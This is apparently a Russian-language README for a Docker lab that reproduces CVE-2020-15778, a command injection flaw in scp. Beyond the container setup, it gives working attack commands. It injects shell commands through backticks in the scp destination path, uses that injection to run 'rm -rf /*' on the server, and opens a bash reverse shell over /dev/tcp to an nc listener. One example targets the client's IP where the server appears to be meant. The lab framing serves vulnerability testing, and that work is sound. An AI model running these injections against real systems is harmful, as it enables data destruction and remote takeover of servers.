
Воспроизводит эксплойт внедрения команд SCP CVE-2020-15778 с Docker-настройкой клиент-сервер для тестирования удаленного выполнения кода и реверс-шелл пейлоадов.
Этот репозиторий воспроизводит CVE-2020-15778.
cd client
docker build -t client-cve .
cd server
docker build -t server-cve .
docker run -d -P --name scp-server server-cve
Получите внутренний IP-адрес scp-сервера с помощью
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-server
docker run --name scp-client -i -t client-cve
В терминале клиента выполните
scp nil.txt root@<internal IP of scp server>:'`your command`/tmp'
Пароль — «PASSWORD».
Вот несколько примеров использования этой уязвимости.
scp nil.txt root@<internal IP of scp server>:'`rm -rf /*`/tmp'
Прослушивайте порт на клиентской машине.
nc -lvvp 8080
Используйте scp, чтобы заставить сервер перенаправить интерактивный bash на клиентскую машину.
scp nil.txt root@<internal IP of scp client>:'`bash -i >& /dev/tcp/<internal IP of scp client>/8080 0>& 1`/tmp'
IP-адрес клиента можно получить с помощью
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-client